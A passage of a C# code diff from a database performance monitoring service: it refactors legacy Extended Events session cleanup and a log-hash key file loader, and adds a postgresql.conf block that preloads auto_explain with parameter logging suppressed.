+    /// <see cref="LongQueryTracePass.Removal"/> pass: a removed server's drop is not the one-time legacy drop. Any other pass
+    /// reads the registration's records, once per connect, and a read that fails leaves the pass with nothing to drop and a
+    /// failure to report (<see cref="LegacyLongQueryDropPass.ToException"/>).
+    /// </summary>
+    internal async Task<LegacyLongQueryDropPass> BeginPassAsync(ServerRuntime server, LongQueryTracePass pass, ILogger? logger, CancellationToken cancellationToken)
+    {
+        if (pass == LongQueryTracePass.CreateOnly || pass == LongQueryTracePass.Removal)
+        {
+            return new LegacyLongQueryDropPass(this, server, runs: false, afterTheCap: false, logger, readFailure: null);
+        }
+
+        var afterTheCap = pass == LongQueryTracePass.RetryAfterCap;
+        try
+        {
+            await LoadAsync(server.ServerId, cancellationToken);
+            return new LegacyLongQueryDropPass(this, server, runs: true, afterTheCap, logger, readFailure: null);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.Log(afterTheCap ? LogLevel.Debug : LogLevel.Warning,
+                "[{Server}] Could not read the record of the legacy long-query completion XE session's drop, so the drop waits for the next pass: {Message}",
+                server.Config.DisplayName, ex.Message);
+            return new LegacyLongQueryDropPass(
+                this, server, runs: true, afterTheCap, logger,
+                new InvalidOperationException("The record of the legacy long-query session's drop could not be read: " + ex.Message, ex));
+        }
+    }
+
+    private async Task LoadAsync(int serverId, CancellationToken cancellationToken)
+    {
+        lock (_gate)
+        {
+            if (_recorded.ContainsKey(serverId))
+            {
+                return;
+            }
+        }
+
+        var keys = await _records.ReadAsync(serverId, cancellationToken);
+        lock (_gate)
+        {
+            if (!_recorded.ContainsKey(serverId))
+            {
+                _recorded[serverId] = new HashSet<string>(keys, StringComparer.Ordinal);
+            }
+        }
+    }
+
+    /// <summary>True when the drop in this database is known to be recorded. Memory only: a connect reads the store.</summary>
+    internal bool IsRecorded(int serverId, string database)
+    {
+        lock (_gate)
+        {
+            return _recorded.TryGetValue(serverId, out var keys) && keys.Contains(LegacyLongQuerySession.StateKey(database));
+        }
+    }
+
+    internal async Task RecordAsync(int serverId, string database, CancellationToken cancellationToken)
+    {
+        var key = LegacyLongQuerySession.StateKey(database);
+        await _records.WriteAsync(serverId, key, DateTime.UtcNow, cancellationToken);
+        lock (_gate)
+        {
+            if (_recorded.TryGetValue(serverId, out var keys))
+            {
+                keys.Add(key);
+            }
+        }
+    }
+
+    /// <summary>
+    /// The per-connect reset: the records are read again at the next full pass, and the Information line about a legacy
+    /// session an older install created again can be logged once more.
+    /// </summary>
+    internal void OnServerReconnected(int serverId)
+    {
+        lock (_gate)
+        {
+            _recorded.Remove(serverId);
+            _noticed.Remove(serverId);
+        }
+    }
+
+    /// <summary>
+    /// A legacy session is in this database, and the drop here is already recorded: an older Lite or Darling created it
+    /// again. It is left alone, and one Information line per connect says so. A session found before the drop is recorded
+    /// is not this case: the drop is still owed and the retry cap owns it.
+    /// </summary>
+    internal void NoteFound(ServerRuntime server, string database, ILogger? logger)
+    {
+        lock (_gate)
+        {
+            if (!_recorded.TryGetValue(server.ServerId, out var keys)
+                || !keys.Contains(LegacyLongQuerySession.StateKey(database))
+                || !_noticed.Add(server.ServerId))
+            {
+                return;
+            }
+        }
+
+        var where = database.Length == 0 ? "on this server" : $"in database [{database}]";
+        logger?.LogInformation(
+            "[{Server}] The long-query Extended Events session {Session} exists {Where}. An older Lite or Darling created it. This install dropped it once and does not touch it again. To remove it, see the README or run --drop-xe-sessions.",
+            server.Config.DisplayName, SessionName, where);
+    }
+}
+
+/// <summary>
+/// One reconcile pass's legacy drops (<see cref="DarlingLegacyLongQuerySession.BeginPassAsync"/>). It drops the session in
+/// each database it is asked about, skips a database whose drop is recorded, records each drop that succeeds, tries every
+/// database before it reports, and logs each failure at Warning, or at Debug for the attempt after the cap.
+/// </summary>
+internal sealed class LegacyLongQueryDropPass
+{
+    private readonly DarlingLegacyLongQuerySession _owner;
+    private readonly ServerRuntime _server;
+    private readonly bool _runs;
+    private readonly bool _afterTheCap;
+    private readonly ILogger? _logger;
+    private readonly Exception? _readFailure;
+    private readonly List<string> _failed = new();
+    private Exception? _firstFailure;
+
+    internal LegacyLongQueryDropPass(
+        DarlingLegacyLongQuerySession owner, ServerRuntime server, bool runs, bool afterTheCap, ILogger? logger, Exception? readFailure)
+    {
+        _owner = owner;
+        _server = server;
+        _runs = runs;
+        _afterTheCap = afterTheCap;
+        _logger = logger;
+        _readFailure = readFailure;
+    }
+
+    /// <summary>
+    /// Drops the session in one database (the empty name is the server), then records the drop. <paramref name="drop"/>
+    /// takes the session's name. A failure is kept for <see cref="ToException"/>, never thrown, so the per-install work in
+    /// the same database goes on.
+    /// </summary>
+    internal async Task DropAsync(string database, Func<string, CancellationToken, Task> drop, CancellationToken cancellationToken)
+    {
+        if (!_runs || _readFailure is not null || _owner.IsRecorded(_server.ServerId, database))
+        {
+            return;
+        }
+
+        try
+        {
+            await drop(DarlingLegacyLongQuerySession.SessionName, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            Fail(database, ex, "Failed to drop the legacy long-query completion XE session");
+            return;
+        }
+
+        try
+        {
+            await _owner.RecordAsync(_server.ServerId, database, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            Fail(database, ex, "Dropped the legacy long-query completion XE session but could not record the drop, so it is dropped again on the next pass");
+        }
+    }
+
+    private void Fail(string database, Exception ex, string text)
+    {
+        _failed.Add(database);
+        _firstFailure ??= ex;
+        _logger?.Log(_afterTheCap ? LogLevel.Debug : LogLevel.Warning, "[{Server}]{Where} {Text}: {Message}",
+            _server.Config.DisplayName, Where(database), text, ex.Message);
+    }
+
+    private static string Where(string database) => database.Length == 0 ? string.Empty : $" [{database}]";
+
+    /// <summary>
+    /// The failure this pass owes the worker, or null. <paramref name="planned"/> is the databases the pass was to drop in:
+    /// a record that could not be read leaves the session where it may remain in each of them. On the server's own session
+    /// (<paramref name="onServer"/>) there are no databases to name.
+    /// </summary>
+    internal LongQueryTraceDropException? ToException(IReadOnlyList<string> planned, string? createNote, bool onServer)
+    {
+        if (_readFailure is not null)
+        {
+            if (onServer)
+            {
+                return LongQueryTraceDropException.ForServer(_readFailure);
+            }
+
+            return planned.Count == 0 ? null : new LongQueryTraceDropException(planned, _readFailure, createNote);
+        }
+
+        if (_firstFailure is null)
+        {
+            return null;
+        }
+
+        return onServer
+            ? LongQueryTraceDropException.ForServer(_firstFailure)
+            : new LongQueryTraceDropException(_failed, _firstFailure, createNote);
+    }
+
+    /// <summary>The two cleanup failures of one pass, per-install and legacy, as one exception that names every database.</summary>
+    internal static LongQueryTraceDropException? Merge(LongQueryTraceDropException? first, LongQueryTraceDropException? second)
+    {
+        if (first is null)
+        {
+            return second;
+        }
+
+        if (second is null || first.OnServer || second.OnServer)
+        {
+            return first;
+        }
+
+        var databases = first.Databases.Concat(second.Databases).Distinct(StringComparer.OrdinalIgnoreCase).ToList();
+        return new LongQueryTraceDropException(databases, first.InnerException ?? first, first.CreateNote ?? second.CreateNote);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingLogHashKeyFile.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingLogHashKeyFile.cs
index c964e05df5..1d9ec02e92 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingLogHashKeyFile.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingLogHashKeyFile.cs
@@ -7,10 +7,8 @@
  */
 
 using System;
-using System.Globalization;
 using System.IO;
 using System.Security.Cryptography;
-using System.Text;
 using System.Threading;
 using Microsoft.Extensions.Logging;
 using PerformanceMonitor.Collectors;
@@ -148,141 +146,49 @@ public static DarlingLogHashKeyLoad LoadForService(DarlingConfig config, string
     /// <summary>
     /// Loads the key from <paramref name="directory"/>, generating it when no file exists at its path, which includes a
     /// key the directory check has just removed (the class's one exception). Never throws for anything the file system
-    /// or the file can do; the result says what happened.
+    /// or the file can do; the result says what happened. The trust checks, the read and the write are the shared
+    /// loader's (<see cref="DarlingServiceKeyFile"/>); this class keeps the key's own wording.
     /// </summary>
     public static DarlingLogHashKeyLoad Load(string directory, ILogger logger)
     {
         ArgumentException.ThrowIfNullOrEmpty(directory);
         ArgumentNullException.ThrowIfNull(logger);
 
-        var path = Path.Combine(directory, FileName);
-        try
+        var result = DarlingServiceKeyFile.Load(directory, Spec, NewKey, createDirectory: true, logger);
+        switch (result.State)
         {
-            var trust = DarlingManagedRoles.PrepareComposeCredentialDirectory(directory, create: true, logger);
-            var exists = AnythingAt(path);
-
-            /* Taken whichever way this load goes, so it describes this process's discard only once (#4004 review,
-               round 3): the check that removed the key may have been another caller's, earlier this start. */
-            var discarded = ComposeCredentialDirectoryGuard.Current.TakeDiscardedKey(directory);
-
-            /* A directory other users could write to until now has already lost every file the service reads from it,
-               this key included, inside the check itself (#4004 review): whichever caller found it open (role
-               provisioning, a host's earlier-credential read, or this load) removed them before returning. So a key
-               found past the check is one written while only the service could reach the directory, and a directory
-               that is not trusted is one nothing is read from or written to. */
-            if (trust.Distrust is { } distrust)
-            {
-                return RefuseForDirectory(path, directory, distrust);
-            }
-
-            if (exists)
-            {
-                var untrusted = DarlingManagedRoles.UntrustedComposeCredentialReason(new FileInfo(path));
-                if (untrusted is not null)
-                {
-                    return Refuse(path, untrusted);
-                }
+            case ServiceKeyFileState.Loaded:
+                logger.LogInformation("Loaded the store's log-hash key from {Path} (#4004)", result.Path);
+                return new DarlingLogHashKeyLoad(result.Key, result.Path, Generated: false, Refusal: null);
 
-                if (!OperatingSystem.IsWindows())
-                {
-                    return Read(path, held: null, logger);
-                }
+            case ServiceKeyFileState.Generated:
+                logger.LogInformation(
+                    "Generated the store's log-hash key {Path} (#4004). Log events stored from now on are identified by hashes keyed with it; keep it with the store's other credentials, because a new key gives every stored log event a new identity.",
+                    result.Path);
+                return new DarlingLogHashKeyLoad(result.Key, result.Path, Generated: true, Refusal: null, Replaced: result.Discarded);
 
-                /* #4028: the shared check above only refuses a key Users, Authenticated Users or Everyone can read,
-                   since the credential files it also judges were built against that denylist. The key is read by
-                   the service alone, so on Windows it is held to an allowlist: an account beyond SYSTEM,
-                   Administrators and the service account (INTERACTIVE, Domain Users, one named user) that can read it
-                   has the key, and with it the literals the keyed hashes hide; one that can write it or re-permission
-                   it can make that so (#4044 review). Judged and read through ONE handle that nobody can rename,
-                   replace or write while it is open, so the key read is the key judged, whoever controls the
-                   directory. */
-                using var held = DarlingFileSecurity.OpenForServiceOnlyRead(path, out var refusal);
-                return held is null ? Refuse(path, refusal ?? "it could not be checked") : Read(path, held, logger);
-            }
+            case ServiceKeyFileState.DirectoryRefused:
+                return RefuseForDirectory(result.Path, result.Reason!);
 
-            var generated = Generate(path, logger);
-            return generated.Key is not null && discarded is not null ? generated with { Replaced = discarded } : generated;
+            default:
+                return Refuse(result.Path, result.Reason ?? "it could not be checked");
         }
-        catch (Exception ex) when (ex is not OperationCanceledException)
-        {
-            return Refuse(path, $"it could not be checked ({ex.Message})");
-        }
-    }
-
-    /// <summary>Whether ANY entry is at the path, a dangling symbolic link or a directory included: generating a key is
-    /// only for a path that holds nothing at all.</summary>
-    private static bool AnythingAt(string path)
-    {
-        var info = new FileInfo(path);
-        return info.LinkTarget is not null || info.Exists || Directory.Exists(path);
     }
 
     /// <summary>The most a key file's bytes may run to. A key this service writes is about 350 on Windows (a DPAPI blob
     /// of the base64 key, in base64) and 44 elsewhere.</summary>
     private const int MaxKeyFileBytes = 1024;
 
-    /// <summary>Reads the key from <paramref name="held"/>, the stream <see cref="Load"/> judged the file through, or
-    /// from the path when there is none (Unix, where mode and owner are the shared check's).</summary>
-    private static DarlingLogHashKeyLoad Read(string path, FileStream? held, ILogger logger)
-    {
-        string text;
-        try
-        {
-            if (held is null)
-            {
-                text = File.ReadAllText(path).Trim();
-            }
-            else
-            {
-                var buffer = new byte[MaxKeyFileBytes + 1];
-                var length = 0;
-                int read;
-                while (length < buffer.Length && (read = held.Read(buffer, length, buffer.Length - length)) > 0)
-                {
-                    length += read;
-                }
-
-                if (length > MaxKeyFileBytes)
-                {
-                    return Refuse(path, $"it is larger than {MaxKeyFileBytes.ToString(CultureInfo.InvariantCulture)} bytes, which no key this service writes is");
-                }
-
-                using var reader = new StreamReader(new MemoryStream(buffer, 0, length), Encoding.UTF8, detectEncodingFromByteOrderMarks: true);
-                text = reader.ReadToEnd().Trim();
-            }
-        }
-        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
-        {
-            return Refuse(path, $"it could not be read ({ex.Message})");
-        }
-
-        string encoded;
-        if (OperatingSystem.IsWindows())
-        {
-            try
-            {
-                encoded = DarlingSecrets.Unprotect(text);
-            }
-            catch (Exception ex) when (ex is CryptographicException or FormatException or ArgumentException)
-            {
-                return Refuse(path, $"it could not be DPAPI-decrypted on this machine ({ex.Message}); a key file is readable only on the machine that wrote it");
-            }
-        }
-        else
-        {
-            encoded = text;
-        }
+    private static readonly ServiceKeyFileSpec<PgLogHashKey> Spec = new(FileName, MaxKeyFileBytes, ParseKey, TakesDiscardRecord: true);
 
+    private static ServiceKeyParse<PgLogHashKey> ParseKey(string encoded)
+    {
         var material = new byte[PgLogHashKey.KeyLength];
         try
         {
-            if (!Convert.TryFromBase64String(encoded.Trim(), material, out var written) || written != PgLogHashKey.KeyLength)
-            {
-                return Refuse(path, $"it does not hold a {PgLogHashKey.KeyLength}-byte key");
-            }
-
-            logger.LogInformation("Loaded the store's log-hash key from {Path} (#4004)", path);
-            return new DarlingLogHashKeyLoad(new PgLogHashKey(material), path, Generated: false, Refusal: null);
+            return !Convert.TryFromBase64String(encoded.Trim(), material, out var written) || written != PgLogHashKey.KeyLength
+                ? new ServiceKeyParse<PgLogHashKey>(null, $"it does not hold a {PgLogHashKey.KeyLength}-byte key")
+                : new ServiceKeyParse<PgLogHashKey>(new PgLogHashKey(material), null);
         }
         finally
         {
@@ -290,112 +196,10 @@ private static DarlingLogHashKeyLoad Read(string path, FileStream? held, ILogger
         }
     }
 
-    /// <summary>
-    /// Writes a new key owner-only from the moment it exists, the way #3983 writes a compose role password: 0600 at
-    /// creation on Unix, the hardened ACL at creation on Windows (checked, then hardened once more if ordinary users can
-    /// still read it), flushed to disk (<see cref="DarlingManagedRoles.FlushToDisk"/>, so a power loss cannot leave a
-    /// zero-length key that every later start refuses), then moved into place WITHOUT overwrite, so a file that
-    /// appeared meanwhile is never replaced.
-    /// </summary>
-    private static DarlingLogHashKeyLoad Generate(string path, ILogger logger)
+    private static ServiceKeyGeneration<PgLogHashKey> NewKey()
     {
-        var temporary = path + ".tmp";
-        if (ClearStaleTemporary(temporary) is { } stale)
-        {
-            return Refuse(path, stale);
-        }
-
         var material = RandomNumberGenerator.GetBytes(PgLogHashKey.KeyLength);
-        try
-        {
-            var encoded = Convert.ToBase64String(material);
-            File.Delete(temporary);
-            if (OperatingSystem.IsWindows())
-            {
-                using (var stream = DarlingFileSecurity.CreateHardenedFile(temporary, allowInteractiveRead: false))
-                using (var writer = new StreamWriter(stream))
-                {
-                    writer.Write(DarlingSecrets.Protect(encoded));
-                    DarlingManagedRoles.FlushToDisk(writer, stream);
-                }
-
-                /* The same allowlist a key is loaded under (#4028), so a key is never written that its next start
-                   would refuse. */
-                if (DarlingFileSecurity.AccessBeyondTrusted(temporary) is not null)
-                {
-                    DarlingFileSecurity.HardenFile(temporary, allowInteractiveRead: false);
-                    if (DarlingFileSecurity.AccessBeyondTrusted(temporary) is { } accounts)
-                    {
-                        throw new InvalidOperationException(
-                            $"accounts beyond SYSTEM, Administrators and the service account had access to it even after it was created owner-only and hardened again: {accounts}"
-                            + DarlingFileSecurity.DescribeOwnerAndExposure(temporary));
-                    }
-                }
-            }
-            else
-            {
-                using var stream = new FileStream(temporary, new FileStreamOptions
-                {
-                    Mode = FileMode.CreateNew,
-                    Access = FileAccess.Write,
-                    UnixCreateMode = DarlingManagedRoles.OwnerOnlyFile,
-                });
-                using var writer = new StreamWriter(stream);
-                writer.Write(encoded);
-                DarlingManagedRoles.FlushToDisk(writer, stream);
-            }
-
-            File.Move(temporary, path, overwrite: false);
-            logger.LogInformation(
-                "Generated the store's log-hash key {Path} (#4004). Log events stored from now on are identified by hashes keyed with it; keep it with the store's other credentials, because a new key gives every stored log event a new identity.",
-                path);
-            return new DarlingLogHashKeyLoad(new PgLogHashKey(material), path, Generated: true, Refusal: null);
-        }
-        catch (Exception ex) when (ex is not OperationCanceledException)
-        {
-            TryDelete(temporary, logger);
-            return Refuse(path, $"there was no key, and a new one could not be written ({ex.Message})");
-        }
-        finally
-        {
-            CryptographicOperations.ZeroMemory(material);
-        }
-    }
-
-    /// <summary>
-    /// A directory where the new key's temporary file goes (#4004 review): File.Delete cannot remove it, so the write
-    /// failed on every start with a reason that named only the key ("it did not exist"). An empty one is removed, which
-    /// is safe (a non-recursive delete removes nothing inside, and a symbolic link is not a directory here); one with
-    /// anything in it is someone's tree, left alone, and named as the reason. Null when the path is clear.
-    /// </summary>
-    private static string? ClearStaleTemporary(string temporary)
-    {
-        if (new FileInfo(temporary).LinkTarget is not null || !Directory.Exists(temporary))
-        {
-            return null;
-        }
-
-        try
-        {
-            Directory.Delete(temporary, recursive: false);
-            return null;
-        }
-        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
-        {
-            return $"{temporary}, the file a new key is written through before it is moved into place, is a directory the service could not remove ({ex.Message}); remove it and restart";
-        }
-    }
-
-    private static void TryDelete(string path, ILogger logger)
-    {
-        try
-        {
-            File.Delete(path);
-        }
-        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
-        {
-            logger.LogDebug("Could not remove {File}: {Message}", path, ex.Message);
-        }
+        return new ServiceKeyGeneration<PgLogHashKey>(new PgLogHashKey(material), material);
     }
 
     private static DarlingLogHashKeyLoad Refuse(string path, string reason) => new(
@@ -412,11 +216,11 @@ private static void TryDelete(string path, ILogger logger)
     /// Round 2 gave this case the file's text, whose "restrict it" read as "set the directory 0700" to the operator
     /// the round-3 attack walks through.
     /// </summary>
-    private static DarlingLogHashKeyLoad RefuseForDirectory(string path, string directory, string distrust) => new(
+    private static DarlingLogHashKeyLoad RefuseForDirectory(string path, string reason) => new(
         Key: null,
         Path: path,
         Generated: false,
-        Refusal: $"PostgreSQL log events will not be collected: the store's log-hash key {path} cannot be used because its directory {directory} is not trusted ({distrust}) (#4004). "
+        Refusal: $"PostgreSQL log events will not be collected: the store's log-hash key {path} cannot be used because {reason} (#4004). "
             + "Nothing in that directory is read or written while it is not trusted; fix what the reason names and restart.");
 }
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs
index 18ac6fb751..f6b5e220b3 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs
@@ -624,6 +624,62 @@ public sealed class DarlingManagedPostgres
     /// </summary>
     public const string ConfMarkerV17 = "# Managed by PerformanceMonitor Darling (v17 log line prefix) -- do not remove this block";
 
+    /// <summary>
+    /// The v18 marker (part of #5097): load <c>auto_explain</c>, so a store statement that runs past ten
+    /// seconds leaves its plan in the store's own log. The store's log-sweep keeps that plan in redacted form;
+    /// before this, a slow store statement was a duration and a masked text with no plan to read.
+    ///
+    /// <para><b>A MERGE, never a literal</b>, the v13 rule: <c>shared_preload_libraries</c> is list-valued and
+    /// the last occurrence replaces the list, so the block restates the EFFECTIVE list plus
+    /// <see cref="StatementStatisticsLibrary"/> and <see cref="AutoExplainLibrary"/>, <c>auto_explain</c>
+    /// last. <see cref="MergePreloadLibraryNames(string?, string[])"/> never shrinks the list, keeps order and
+    /// spelling, and drops case-insensitive duplicates, so a store whose list already names the library gains
+    /// nothing twice.</para>
+    ///
+    /// <para><b>The settings, and why each:</b>
+    /// <list type="bullet">
+    /// <item><description><c>auto_explain.log_min_duration = 10s</c>: only a statement that ran at least ten
+    /// seconds is logged. Short enough to catch the reads the viewer and the MCP tools can run into, long
+    /// enough that the log gains a handful of plans a day, not a stream.</description></item>
+    /// <item><description><c>auto_explain.log_analyze = off</c>: with it on, instrumentation runs on EVERY
+    /// statement, not only the slow ones (a 31% throughput loss was measured at threshold 0). Off costs one
+    /// EXPLAIN, only for a statement already over the threshold. <c>log_timing</c> and <c>log_buffers</c> do
+    /// nothing without it, so they are not set.</description></item>
+    /// <item><description><c>auto_explain.log_format = json</c>: the one form the store-log reader parses and
+    /// redacts. A text-format plan has no redaction path.</description></item>
+    /// <item><description><c>auto_explain.log_nested_statements = off</c>: statements inside functions and
+    /// procedures are not logged separately, which keeps volume and the amount of text down.</description></item>
+    /// <item><description><c>auto_explain.log_verbose = on</c>: EXPLAIN VERBOSE prints the query identifier
+    /// while <c>compute_query_id</c> is active, which pg_stat_statements turns on under its default <c>auto</c>.
+    /// That joins a plan to its pg_stat_statements row without changing <c>log_line_prefix</c>.</description></item>
+    /// <item><description><c>auto_explain.log_settings = on</c>: lists the non-default planner settings in
+    /// force when the plan was made, so the plan can be read against them.</description></item>
+    /// <item><description><c>auto_explain.log_parameter_max_length = 0</c>: LOAD-BEARING. The default, -1,
+    /// writes every bind value into the plan. The store roles' own <c>log_parameter_max_length = 0</c> covers
+    /// statement logging only, not this module.</description></item>
+    /// </list></para>
+    ///
+    /// <para><b>Restart semantics.</b> <c>shared_preload_libraries</c> is postmaster-context. This block is
+    /// written by the pre-start conf paths (the Legacy append in <see cref="EnsureConfAppended"/> and the
+    /// managed-conf render), so it takes effect on the next start the SERVICE ITSELF performs, which in
+    /// production is the nightly install's service start. Nothing here restarts, stops or reloads a running
+    /// store: the adopted-listener case waits for the next service-owned start, as v13 does. A bring-your-own
+    /// store keeps its owner's settings. Any later change to a value above needs a NEW marker (the
+    /// v11/v14/v15/v16/v17 precedent): the block heals by its marker's absence, so an edited value in an
+    /// already-marked file would never be seen.</para>
+    ///
+    /// <para><b>A missing library.</b> A missing <c>auto_explain</c> library (<c>lib\auto_explain.dll</c> in
+    /// the bundled runtime) stops the store at its next start. The pre-start <c>postgres -C</c> validation
+    /// returns before PostgreSQL loads its preload libraries, so it cannot catch this. The guard is the
+    /// runtime packaging check in <c>Darling/tools/fetch-pg-runtime.ps1</c>, which fails a runtime that lacks
+    /// the file. <c>pg_stat_statements</c> already has the same dependency.</para>
+    ///
+    /// <para><b>Major-version upgrade.</b> The new cluster's conf carries this block too, so
+    /// <c>auto_explain</c> is loaded while <c>pg_upgrade</c> runs. A restore statement over the threshold logs
+    /// a plan, which is harmless.</para>
+    /// </summary>
+    public const string ConfMarkerV18 = "# Managed by PerformanceMonitor Darling (v18 slow-statement plans) -- do not remove this block";
+
     /// <summary>
     /// Every marker this class ever appends to postgresql.conf, in append order (#4214). A generic scan that
     /// asks "is this line inside SOME managed block" (the host-profile check's per-setting source attribution)
@@ -637,7 +693,7 @@ public sealed class DarlingManagedPostgres
     [
         ConfMarker, ConfMarkerV2, ConfMarkerV3, ConfMarkerV4, ConfMarkerV5, ConfMarkerV6, ConfMarkerV7,
         ConfMarkerV8, ConfMarkerV9, ConfMarkerV10, ConfMarkerV11, ConfMarkerV12, ConfMarkerV13, ConfMarkerV14,
-        ConfMarkerV15, ConfMarkerV16, ConfMarkerV17,
+        ConfMarkerV15, ConfMarkerV16, ConfMarkerV17, ConfMarkerV18,
     ];
 
     /// <summary>
@@ -780,6 +836,12 @@ public DarlingManagedPostgres(PostgresConfig config, ILogger logger, string? run
     [SupportedOSPlatform("windows")]
     internal ManagedConfWriteResult? LastManagedConfWriteResult { get; private set; }
 
+    /// <summary>Test-only seam (#5459): what the data volume holds, for every <see cref="TryReadDataVolumeSpace"/>
+    /// call this instance makes that does not pass its own reader. A live test sets it per instance to say what
+    /// free space each service start sees, because a CI runner's own free space cannot be steered to a ladder
+    /// edge. Null in production, which reads the real volume.</summary>
+    internal Func<string, (long AvailableFreeBytes, long TotalBytes)>? TestOnlyVolumeSpaceReader { get; set; }
+
     /// <summary>Whether THIS start ran PostgreSQL on <see cref="ManagedConfFile.LastGoodFileName"/> rather than
     /// the file <see cref="WriteManagedConfFile"/> just rendered (#4215) — set only in the recovery
     /// branch of <see cref="EnsureManagedConfReadyAsync"/>, the one place that copies the last-good file back
@@ -1721,6 +1783,11 @@ public static string BuildJobExecutionLoggingConfAppend()
     /// <summary>The library the v13 block adds to <c>shared_preload_libraries</c>.</summary>
     public const string StatementStatisticsLibrary = "pg_stat_statements";
 
+    /// <summary>The library the v18 block adds to <c>shared_preload_libraries</c>, after
+    /// <see cref="StatementStatisticsLibrary"/>. A contrib module with no <c>CREATE EXTENSION</c>: loading it
+    /// is the whole install.</summary>
+    public const string AutoExplainLibrary = "auto_explain";
+
     /// <summary>The library v1 preloads, and the base the v13 merge falls back to when the conf carries no
     /// active assignment. A managed conf always carries one by then, because v1 is appended first.</summary>
     internal const string TimescaleLibrary = "timescaledb";
@@ -1759,8 +1826,23 @@ public static string BuildStatementStatisticsConfAppend(string? effectivePreload
     internal static string MergePreloadLibraries(string? effectivePreloadList) =>
         FormatPreloadList(MergePreloadLibraryNames(effectivePreloadList));
 
-    /// <summary><see cref="MergePreloadLibraries"/>'s names, before they are written in either form.</summary>
-    internal static List<string> MergePreloadLibraryNames(string? effectivePreloadList)
+    /// <summary><see cref="MergePreloadLibraries(string?)"/> for an explicit set of required libraries: the
+    /// v18 block asks for <see cref="StatementStatisticsLibrary"/> and <see cref="AutoExplainLibrary"/>.</summary>
+    internal static string MergePreloadLibraries(string? effectivePreloadList, params string[] requiredLibraries) =>
+        FormatPreloadList(MergePreloadLibraryNames(effectivePreloadList, requiredLibraries));
+
+    /// <summary><see cref="MergePreloadLibraries"/>'s names, before they are written in either form: the
+    /// effective list plus <see cref="StatementStatisticsLibrary"/>, the v13 merge.</summary>
+    internal static List<string> MergePreloadLibraryNames(string? effectivePreloadList) =>
+        MergePreloadLibraryNames(effectivePreloadList, StatementStatisticsLibrary);
+
+    /// <summary>
+    /// The one merge: the effective list plus each of <paramref name="requiredLibraries"/> not already in it
+    /// (compared without regard to case), appended in the order given. The list never shrinks, and order and
+    /// spelling are kept. v13 asks for <see cref="StatementStatisticsLibrary"/>; v18 asks for it and
+    /// <see cref="AutoExplainLibrary"/>.
+    /// </summary>
+    internal static List<string> MergePreloadLibraryNames(string? effectivePreloadList, params string[] requiredLibraries)
     {
         var libraries = ParsePreloadList(effectivePreloadList);
         if (libraries.Count == 0)
@@ -1768,9 +1850,12 @@ internal static List<string> MergePreloadLibraryNames(string? effectivePreloadLi
             libraries.Add(TimescaleLibrary);
         }
 
-        if (!libraries.Contains(StatementStatisticsLibrary, StringComparer.OrdinalIgnoreCase))
+        foreach (var required in requiredLibraries)
         {
-            libraries.Add(StatementStatisticsLibrary);
+            if (!libraries.Contains(required, StringComparer.OrdinalIgnoreCase))
+            {
+                libraries.Add(required);
+            }
         }
 
         return libraries;
@@ -2244,6 +2329,9 @@ private static string ParseConfValue(string text)
     /// line (v1's, or their own above the block) has an edit PostgreSQL ignores, because the later assignment
     /// replaces the whole list. #3904's review found nothing said so.</description></item>
     /// </list>
+    /// Since v18 (part of #5097) the "lacks the library" outcome is asked of <see cref="AutoExplainLibrary"/> as
+    /// well, with its own message; the <see cref="StatementStatisticsLibrary"/> message is unchanged and comes
+    /// first.
     /// Never throws; a file that cannot be read contributes nothing.
     /// </summary>
     internal void LogStatementStatisticsPreloadCoverage(string dataDirectory)
@@ -2284,7 +2372,8 @@ internal void LogStatementStatisticsPreloadCoverage(string dataDirectory)
             return;
         }
 
-        if (!inForceLibraries.Contains(StatementStatisticsLibrary, StringComparer.OrdinalIgnoreCase))
+        var lacksStatementStatistics = !inForceLibraries.Contains(StatementStatisticsLibrary, StringComparer.OrdinalIgnoreCase);
+        if (lacksStatementStatistics)
         {
             var suggested = MergePreloadLibraryNames(inForce.Value);
             if (inAutoConf)
@@ -2300,7 +2389,35 @@ internal void LogStatementStatisticsPreloadCoverage(string dataDirectory)
                     inForce.File, inForce.Line, inForce.Value, StatementStatisticsLibrary,
                     EscapeConfValue(FormatPreloadList(suggested)));
             }
+        }
+
+        /* v18: the same shape for the second required library. The pg_stat_statements message above is
+           unchanged and comes first; a list lacking both gets both, each naming its own library. */
+        foreach (var required in new[] { AutoExplainLibrary })
+        {
+            if (inForceLibraries.Contains(required, StringComparer.OrdinalIgnoreCase))
+            {
+                continue;
+            }
+
+            var suggested = MergePreloadLibraryNames(inForce.Value, StatementStatisticsLibrary, AutoExplainLibrary);
+            if (inAutoConf)
+            {
+                _logger.LogWarning(
+                    "postgresql.auto.conf sets shared_preload_libraries = '{Value}' (an ALTER SYSTEM override) without {Library}. PostgreSQL reads postgresql.auto.conf AFTER postgresql.conf, so the v18 block's preload is inert and a slow store statement leaves no plan in the store's log until the override includes it: ALTER SYSTEM SET shared_preload_libraries = {Suggested}, then restart the store. One quoted literal per library: a single literal holding the whole list is stored as one library name, and the store would not start. This service does not edit postgresql.auto.conf.",
+                    inForce.Value, required, FormatAlterSystemPreloadList(suggested));
+            }
+            else
+            {
+                _logger.LogWarning(
+                    "{File} line {Line} sets shared_preload_libraries = '{Value}' without {Library}, and it is the assignment in force: it is read after the v18 block, and a later assignment replaces the whole list, so a slow store statement leaves no plan in the store's log until it names the library. Change that line to shared_preload_libraries = '{Suggested}' and restart the store.",
+                    inForce.File, inForce.Line, inForce.Value, required,
+                    EscapeConfValue(FormatPreloadList(suggested)));
+            }
+        }
 
+        if (lacksStatementStatistics)
+        {
             return;
         }
 
@@ -2358,6 +2475,34 @@ public static string BuildCheckpointIntervalConfAppend()
         return builder.ToString();
     }
 
